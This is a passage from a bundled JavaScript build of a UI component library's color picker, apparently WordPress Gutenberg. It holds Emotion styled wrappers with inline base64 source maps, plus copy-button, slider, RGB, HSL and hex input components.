5cbmV4cG9ydCBjb25zdCBBdXhpbGlhcnlDb2xvckFydGVmYWN0V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggMiApIH07XG5cdHBhZGRpbmctcmlnaHQ6IDA7XG5cdHBhZGRpbmctbGVmdDogMDtcblx0cGFkZGluZy1ib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgQXV4aWxpYXJ5Q29sb3JBcnRlZmFjdEhTdGFja0hlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdHBhZGRpbmctbGVmdDogJHsgc3BhY2UoIDQgKSB9O1xuXHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgQ29sb3JJbnB1dFdyYXBwZXIgPSBzdHlsZWQoIEZsZXggKWBcblx0cGFkZGluZy10b3A6ICR7IHNwYWNlKCA0ICkgfTtcblx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggNCApIH07XG5cdHBhZGRpbmctcmlnaHQ6ICR7IHNwYWNlKCAzICkgfTtcblx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCA1ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDb2xvcmZ1bFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9O1xuXG5cdHdpZHRoOiAyMTZweDtcblxuXHQucmVhY3QtY29sb3JmdWwge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHdpZHRoOiAyMTZweDtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX3NhdHVyYXRpb24ge1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0aGVpZ2h0OiAyMTZweDtcblx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggNCApIH07XG5cdFx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0fVxuXG5cdC5yZWFjdC1jb2xvcmZ1bF9faHVlLFxuXHQucmVhY3QtY29sb3JmdWxfX2FscGhhIHtcblx0XHR3aWR0aDogMTg0cHg7XG5cdFx0aGVpZ2h0OiAxNnB4O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyIHtcblx0XHRoZWlnaHQ6IDE2cHg7XG5cdFx0d2lkdGg6IDE2cHg7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IDAgMCAycHggMCByZ2JhKCAwLCAwLCAwLCAwLjI1ICk7XG5cblx0XHQvLyBTaG93biBpbnN0ZWFkIG9mIGJveC1zaGFkb3cgdG8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBlYXNlLWluLW91dDtcblx0XHR9XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX2ludGVyYWN0aXZlOmZvY3VzIC5yZWFjdC1jb2xvcmZ1bF9fcG9pbnRlciB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSAkeyBDT05GSUcuc3VyZmFjZUNvbG9yIH07XG5cdFx0Ym9yZGVyOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkIGJsYWNrO1xuXHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKCAtNTAlLCAtNTAlICkgc2NhbGUoIDEuNSApO1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyLWZpbGwge1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gI2ZmZjtcblx0fVxuXG5cdCR7IGludGVyYWN0aXZlSHVlU3R5bGVzIH1cbmA7XG4iXX0= */"));
31330 var ColorInputWrapper = /* @__PURE__ */ createStyled(component_default3, false ? {
31331 target: "ez9hsf41"
31332 } : {
31333 target: "ez9hsf41",
31334 label: "ColorInputWrapper"
31335 })("padding-top:", space(4), ";padding-left:", space(4), ";padding-right:", space(3), ";padding-bottom:", space(5), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpRCtDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IElubmVyU2VsZWN0Q29udHJvbCBmcm9tICcuLi9zZWxlY3QtY29udHJvbCc7XG5pbXBvcnQgSW5uZXJSYW5nZUNvbnRyb2wgZnJvbSAnLi4vcmFuZ2UtY29udHJvbCc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IGJveFNpemluZ1Jlc2V0IH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uL2ZsZXgnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgQ09ORklHIGZyb20gJy4uL3V0aWxzL2NvbmZpZy12YWx1ZXMnO1xuXG5leHBvcnQgY29uc3QgTnVtYmVyQ29udHJvbFdyYXBwZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0d2lkdGg6ICR7IHNwYWNlKCAyNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0Q29udHJvbCA9IHN0eWxlZCggSW5uZXJTZWxlY3RDb250cm9sIClgXG5cdG1hcmdpbi1sZWZ0OiAkeyBzcGFjZSggLTIgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhbmdlQ29udHJvbCA9IHN0eWxlZCggSW5uZXJSYW5nZUNvbnRyb2wgKWBcblx0ZmxleDogMTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG4vLyBNYWtlIHRoZSBIdWUgY2lyY2xlIHBpY2tlciBub3QgZ28gb3V0IG9mIHRoZSBiYXIuXG5jb25zdCBpbnRlcmFjdGl2ZUh1ZVN0eWxlcyA9IGBcbi5yZWFjdC1jb2xvcmZ1bF9faW50ZXJhY3RpdmUge1xuXHR3aWR0aDogY2FsYyggMTAwJSAtICR7IHNwYWNlKCAyICkgfSApO1xuXHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIDEgKSB9O1xufWA7XG5cbmV4cG9ydCBjb25zdCBBdXhpbGlhcnlDb2xvckFydGVmYWN0V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggMiApIH07XG5cdHBhZGRpbmctcmlnaHQ6IDA7XG5cdHBhZGRpbmctbGVmdDogMDtcblx0cGFkZGluZy1ib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgQXV4aWxpYXJ5Q29sb3JBcnRlZmFjdEhTdGFja0hlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdHBhZGRpbmctbGVmdDogJHsgc3BhY2UoIDQgKSB9O1xuXHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgQ29sb3JJbnB1dFdyYXBwZXIgPSBzdHlsZWQoIEZsZXggKWBcblx0cGFkZGluZy10b3A6ICR7IHNwYWNlKCA0ICkgfTtcblx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggNCApIH07XG5cdHBhZGRpbmctcmlnaHQ6ICR7IHNwYWNlKCAzICkgfTtcblx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCA1ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDb2xvcmZ1bFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9O1xuXG5cdHdpZHRoOiAyMTZweDtcblxuXHQucmVhY3QtY29sb3JmdWwge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHdpZHRoOiAyMTZweDtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX3NhdHVyYXRpb24ge1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0aGVpZ2h0OiAyMTZweDtcblx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggNCApIH07XG5cdFx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0fVxuXG5cdC5yZWFjdC1jb2xvcmZ1bF9faHVlLFxuXHQucmVhY3QtY29sb3JmdWxfX2FscGhhIHtcblx0XHR3aWR0aDogMTg0cHg7XG5cdFx0aGVpZ2h0OiAxNnB4O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyIHtcblx0XHRoZWlnaHQ6IDE2cHg7XG5cdFx0d2lkdGg6IDE2cHg7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IDAgMCAycHggMCByZ2JhKCAwLCAwLCAwLCAwLjI1ICk7XG5cblx0XHQvLyBTaG93biBpbnN0ZWFkIG9mIGJveC1zaGFkb3cgdG8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBlYXNlLWluLW91dDtcblx0XHR9XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX2ludGVyYWN0aXZlOmZvY3VzIC5yZWFjdC1jb2xvcmZ1bF9fcG9pbnRlciB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSAkeyBDT05GSUcuc3VyZmFjZUNvbG9yIH07XG5cdFx0Ym9yZGVyOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkIGJsYWNrO1xuXHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKCAtNTAlLCAtNTAlICkgc2NhbGUoIDEuNSApO1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyLWZpbGwge1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gI2ZmZjtcblx0fVxuXG5cdCR7IGludGVyYWN0aXZlSHVlU3R5bGVzIH1cbmA7XG4iXX0= */"));
31336 var ColorfulWrapper = /* @__PURE__ */ createStyled("div", false ? {
31337 target: "ez9hsf40"
31338 } : {
31339 target: "ez9hsf40",
31340 label: "ColorfulWrapper"
31341 })(boxSizingReset, ";width:216px;.react-colorful{display:flex;flex-direction:column;align-items:center;width:216px;height:auto;}.react-colorful__saturation{width:100%;border-radius:0;height:216px;margin-bottom:", space(4), ";border-bottom:none;}.react-colorful__hue,.react-colorful__alpha{width:184px;height:16px;border-radius:", config_values_default.radiusFull, ";margin-bottom:", space(2), ";}.react-colorful__pointer{height:16px;width:16px;border:none;box-shadow:0 0 2px 0 rgba( 0, 0, 0, 0.25 );outline:2px solid transparent;@media not ( prefers-reduced-motion ){transition:transform ", config_values_default.transitionDurationFast, " ease-in-out;}}.react-colorful__interactive:focus .react-colorful__pointer{box-shadow:0 0 0 ", config_values_default.borderWidthFocus, " ", config_values_default.surfaceColor, ";border:", config_values_default.borderWidthFocus, " solid black;transform:translate( -50%, -50% ) scale( 1.5 );}.react-colorful__pointer-fill{box-shadow:inset 0 0 0 ", config_values_default.borderWidthFocus, " #fff;}", interactiveHueStyles, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3RHlDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IElubmVyU2VsZWN0Q29udHJvbCBmcm9tICcuLi9zZWxlY3QtY29udHJvbCc7XG5pbXBvcnQgSW5uZXJSYW5nZUNvbnRyb2wgZnJvbSAnLi4vcmFuZ2UtY29udHJvbCc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IGJveFNpemluZ1Jlc2V0IH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uL2ZsZXgnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgQ09ORklHIGZyb20gJy4uL3V0aWxzL2NvbmZpZy12YWx1ZXMnO1xuXG5leHBvcnQgY29uc3QgTnVtYmVyQ29udHJvbFdyYXBwZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0d2lkdGg6ICR7IHNwYWNlKCAyNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0Q29udHJvbCA9IHN0eWxlZCggSW5uZXJTZWxlY3RDb250cm9sIClgXG5cdG1hcmdpbi1sZWZ0OiAkeyBzcGFjZSggLTIgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhbmdlQ29udHJvbCA9IHN0eWxlZCggSW5uZXJSYW5nZUNvbnRyb2wgKWBcblx0ZmxleDogMTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG4vLyBNYWtlIHRoZSBIdWUgY2lyY2xlIHBpY2tlciBub3QgZ28gb3V0IG9mIHRoZSBiYXIuXG5jb25zdCBpbnRlcmFjdGl2ZUh1ZVN0eWxlcyA9IGBcbi5yZWFjdC1jb2xvcmZ1bF9faW50ZXJhY3RpdmUge1xuXHR3aWR0aDogY2FsYyggMTAwJSAtICR7IHNwYWNlKCAyICkgfSApO1xuXHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIDEgKSB9O1xufWA7XG5cbmV4cG9ydCBjb25zdCBBdXhpbGlhcnlDb2xvckFydGVmYWN0V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggMiApIH07XG5cdHBhZGRpbmctcmlnaHQ6IDA7XG5cdHBhZGRpbmctbGVmdDogMDtcblx0cGFkZGluZy1ib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgQXV4aWxpYXJ5Q29sb3JBcnRlZmFjdEhTdGFja0hlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdHBhZGRpbmctbGVmdDogJHsgc3BhY2UoIDQgKSB9O1xuXHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgQ29sb3JJbnB1dFdyYXBwZXIgPSBzdHlsZWQoIEZsZXggKWBcblx0cGFkZGluZy10b3A6ICR7IHNwYWNlKCA0ICkgfTtcblx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggNCApIH07XG5cdHBhZGRpbmctcmlnaHQ6ICR7IHNwYWNlKCAzICkgfTtcblx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCA1ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDb2xvcmZ1bFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9O1xuXG5cdHdpZHRoOiAyMTZweDtcblxuXHQucmVhY3QtY29sb3JmdWwge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHdpZHRoOiAyMTZweDtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX3NhdHVyYXRpb24ge1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0aGVpZ2h0OiAyMTZweDtcblx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggNCApIH07XG5cdFx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0fVxuXG5cdC5yZWFjdC1jb2xvcmZ1bF9faHVlLFxuXHQucmVhY3QtY29sb3JmdWxfX2FscGhhIHtcblx0XHR3aWR0aDogMTg0cHg7XG5cdFx0aGVpZ2h0OiAxNnB4O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyIHtcblx0XHRoZWlnaHQ6IDE2cHg7XG5cdFx0d2lkdGg6IDE2cHg7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IDAgMCAycHggMCByZ2JhKCAwLCAwLCAwLCAwLjI1ICk7XG5cblx0XHQvLyBTaG93biBpbnN0ZWFkIG9mIGJveC1zaGFkb3cgdG8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBlYXNlLWluLW91dDtcblx0XHR9XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX2ludGVyYWN0aXZlOmZvY3VzIC5yZWFjdC1jb2xvcmZ1bF9fcG9pbnRlciB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSAkeyBDT05GSUcuc3VyZmFjZUNvbG9yIH07XG5cdFx0Ym9yZGVyOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkIGJsYWNrO1xuXHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKCAtNTAlLCAtNTAlICkgc2NhbGUoIDEuNSApO1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyLWZpbGwge1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gI2ZmZjtcblx0fVxuXG5cdCR7IGludGVyYWN0aXZlSHVlU3R5bGVzIH1cbmA7XG4iXX0= */"));
31342
31343 // packages/components/build-module/color-picker/color-copy-button.mjs
31344 var import_compose30 = __toESM(require_compose(), 1);
31345 var import_element73 = __toESM(require_element(), 1);
31346 var import_i18n14 = __toESM(require_i18n(), 1);
31347 var import_jsx_runtime130 = __toESM(require_jsx_runtime(), 1);
31348 var ColorCopyButton = (props) => {
31349 const {
31350 color: color2,
31351 colorType
31352 } = props;
31353 const [copiedColor, setCopiedColor] = (0, import_element73.useState)(null);
31354 const copyTimerRef = (0, import_element73.useRef)(void 0);
31355 const copyRef = (0, import_compose30.useCopyToClipboard)(() => {
31356 switch (colorType) {
31357 case "hsl": {
31358 return color2.toHslString();
31359 }
31360 case "rgb": {
31361 return color2.toRgbString();
31362 }
31363 default:
31364 case "hex": {
31365 return color2.toHex();
31366 }
31367 }
31368 }, () => {
31369 if (copyTimerRef.current) {
31370 clearTimeout(copyTimerRef.current);
31371 }
31372 setCopiedColor(color2.toHex());
31373 copyTimerRef.current = setTimeout(() => {
31374 setCopiedColor(null);
31375 copyTimerRef.current = void 0;
31376 }, 3e3);
31377 });
31378 (0, import_element73.useEffect)(() => {
31379 return () => {
31380 if (copyTimerRef.current) {
31381 clearTimeout(copyTimerRef.current);
31382 }
31383 };
31384 }, []);
31385 const isCopied = copiedColor === color2.toHex();
31386 const label = isCopied ? (0, import_i18n14.__)("Copied!") : (0, import_i18n14.__)("Copy");
31387 return /* @__PURE__ */ (0, import_jsx_runtime130.jsx)(tooltip_default, {
31388 delay: 0,
31389 hideOnClick: false,
31390 text: label,
31391 children: /* @__PURE__ */ (0, import_jsx_runtime130.jsx)(Button3, {
31392 size: "compact",
31393 "aria-label": label,
31394 ref: copyRef,
31395 icon: isCopied ? check_default : copy_default,
31396 showTooltip: false
31397 })
31398 });
31399 };
31400
31401 // packages/components/build-module/color-picker/input-with-slider.mjs
31402 var import_jsx_runtime131 = __toESM(require_jsx_runtime(), 1);
31403 var InputWithSlider = ({
31404 min: min3,
31405 max: max3,
31406 label,
31407 abbreviation,
31408 onChange,
31409 value
31410 }) => {
31411 const onNumberControlChange = (newValue) => {
31412 if (!newValue) {
31413 onChange(0);
31414 return;
31415 }
31416 if (typeof newValue === "string") {
31417 onChange(parseInt(newValue, 10));
31418 return;
31419 }
31420 onChange(newValue);
31421 };
31422 return /* @__PURE__ */ (0, import_jsx_runtime131.jsxs)(component_default9, {
31423 spacing: 4,
31424 children: [/* @__PURE__ */ (0, import_jsx_runtime131.jsx)(NumberControlWrapper, {
31425 __next40pxDefaultSize: true,
31426 min: min3,
31427 max: max3,
31428 label,
31429 hideLabelFromVision: true,
31430 value,
31431 onChange: onNumberControlChange,
31432 prefix: /* @__PURE__ */ (0, import_jsx_runtime131.jsx)(input_prefix_wrapper_default, {
31433 children: /* @__PURE__ */ (0, import_jsx_runtime131.jsx)(component_default8, {
31434 color: COLORS.theme.accent,
31435 lineHeight: 1,
31436 children: abbreviation
31437 })
31438 }),
31439 spinControls: "none"
31440 }), /* @__PURE__ */ (0, import_jsx_runtime131.jsx)(RangeControl2, {
31441 __next40pxDefaultSize: true,
31442 label,
31443 hideLabelFromVision: true,
31444 min: min3,
31445 max: max3,
31446 value,
31447 onChange,
31448 withInputField: false
31449 })]
31450 });
31451 };
31452
31453 // packages/components/build-module/color-picker/rgb-input.mjs
31454 var import_jsx_runtime132 = __toESM(require_jsx_runtime(), 1);
31455 var RgbInput = ({
31456 color: color2,
31457 onChange,
31458 enableAlpha
31459 }) => {
31460 const {
31461 r: r4,
31462 g: g3,
31463 b: b3,
31464 a: a3
31465 } = color2.toRgb();
31466 return /* @__PURE__ */ (0, import_jsx_runtime132.jsxs)(import_jsx_runtime132.Fragment, {
31467 children: [/* @__PURE__ */ (0, import_jsx_runtime132.jsx)(InputWithSlider, {
31468 min: 0,
31469 max: 255,
31470 label: "Red",
31471 abbreviation: "R",
31472 value: r4,
31473 onChange: (nextR) => onChange(w({
31474 r: nextR,
31475 g: g3,
31476 b: b3,
31477 a: a3
31478 }))
31479 }), /* @__PURE__ */ (0, import_jsx_runtime132.jsx)(InputWithSlider, {
31480 min: 0,
31481 max: 255,
31482 label: "Green",
31483 abbreviation: "G",
31484 value: g3,
31485 onChange: (nextG) => onChange(w({
31486 r: r4,
31487 g: nextG,
31488 b: b3,
31489 a: a3
31490 }))
31491 }), /* @__PURE__ */ (0, import_jsx_runtime132.jsx)(InputWithSlider, {
31492 min: 0,
31493 max: 255,
31494 label: "Blue",
31495 abbreviation: "B",
31496 value: b3,
31497 onChange: (nextB) => onChange(w({
31498 r: r4,
31499 g: g3,
31500 b: nextB,
31501 a: a3
31502 }))
31503 }), enableAlpha && /* @__PURE__ */ (0, import_jsx_runtime132.jsx)(InputWithSlider, {
31504 min: 0,
31505 max: 100,
31506 label: "Alpha",
31507 abbreviation: "A",
31508 value: Math.trunc(a3 * 100),
31509 onChange: (nextA) => onChange(w({
31510 r: r4,
31511 g: g3,
31512 b: b3,
31513 a: nextA / 100
31514 }))
31515 })]
31516 });
31517 };
31518
31519 // packages/components/build-module/color-picker/hsl-input.mjs
31520 var import_element74 = __toESM(require_element(), 1);
31521 var import_jsx_runtime133 = __toESM(require_jsx_runtime(), 1);
31522 var HslInput = ({
31523 color: color2,
31524 onChange,
31525 enableAlpha
31526 }) => {
31527 const colorPropHSLA = (0, import_element74.useMemo)(() => color2.toHsl(), [color2]);
31528 const [internalHSLA, setInternalHSLA] = (0, import_element74.useState)({
31529 ...colorPropHSLA
31530 });
31531 const isInternalColorSameAsReceivedColor = color2.isEqual(w(internalHSLA));
31532 (0, import_element74.useEffect)(() => {
31533 if (!isInternalColorSameAsReceivedColor) {
31534 setInternalHSLA(colorPropHSLA);
31535 }
31536 }, [colorPropHSLA, isInternalColorSameAsReceivedColor]);
31537 const colorValue = isInternalColorSameAsReceivedColor ? internalHSLA : colorPropHSLA;
31538 const updateHSLAValue = (partialNewValue) => {
31539 const nextOnChangeValue = w({
31540 ...colorValue,
31541 ...partialNewValue
31542 });
31543 if (!color2.isEqual(nextOnChangeValue)) {
31544 onChange(nextOnChangeValue);
31545 } else {
31546 setInternalHSLA((prevHSLA) => ({
31547 ...prevHSLA,
31548 ...partialNewValue
31549 }));
31550 }
31551 };
31552 return /* @__PURE__ */ (0, import_jsx_runtime133.jsxs)(import_jsx_runtime133.Fragment, {
31553 children: [/* @__PURE__ */ (0, import_jsx_runtime133.jsx)(InputWithSlider, {
31554 min: 0,
31555 max: 359,
31556 label: "Hue",
31557 abbreviation: "H",
31558 value: colorValue.h,
31559 onChange: (nextH) => {
31560 updateHSLAValue({
31561 h: nextH
31562 });
31563 }
31564 }), /* @__PURE__ */ (0, import_jsx_runtime133.jsx)(InputWithSlider, {
31565 min: 0,
31566 max: 100,
31567 label: "Saturation",
31568 abbreviation: "S",
31569 value: colorValue.s,
31570 onChange: (nextS) => {
31571 updateHSLAValue({
31572 s: nextS
31573 });
31574 }
31575 }), /* @__PURE__ */ (0, import_jsx_runtime133.jsx)(InputWithSlider, {
31576 min: 0,
31577 max: 100,
31578 label: "Lightness",
31579 abbreviation: "L",
31580 value: colorValue.l,
31581 onChange: (nextL) => {
31582 updateHSLAValue({
31583 l: nextL
31584 });
31585 }
31586 }), enableAlpha && /* @__PURE__ */ (0, import_jsx_runtime133.jsx)(InputWithSlider, {
31587 min: 0,
31588 max: 100,
31589 label: "Alpha",
31590 abbreviation: "A",
31591 value: Math.trunc(100 * colorValue.a),
31592 onChange: (nextA) => {
31593 updateHSLAValue({
31594 a: nextA / 100
31595 });
31596 }
31597 })]
31598 });
31599 };
31600
31601 // packages/components/build-module/color-picker/hex-input.mjs
31602 var import_i18n15 = __toESM(require_i18n(), 1);
31603 var import_jsx_runtime134 = __toESM(require_jsx_runtime(), 1);
31604 var HexInput = ({
31605 color: color2,
31606 onChange,
31607 enableAlpha
31608 }) => {
31609 const handleChange = (nextValue) => {
31610 if (!nextValue) {
31611 return;
31612 }
31613 const hexValue = nextValue.startsWith("#") ? nextValue : "#" + nextValue;
31614 onChange(w(hexValue));
31615 };
31616 const stateReducer = (state, action) => {
31617 const nativeEvent = action.payload?.event?.nativeEvent;
31618 if ("insertFromPaste" !== nativeEvent?.inputType) {
31619 return {
31620 ...state
31621 };
31622 }
31623 const value = state.value?.startsWith("#") ? state.value.slice(1).toUpperCase() : state.value?.toUpperCase();
31624 return {
31625 ...state,
31626 value
31627 };
31628 };
31629 return /* @__PURE__ */ (0, import_jsx_runtime134.jsx)(InputControl, {
31630 prefix: /* @__PURE__ */ (0, import_jsx_runtime134.jsx)(input_prefix_wrapper_default, {
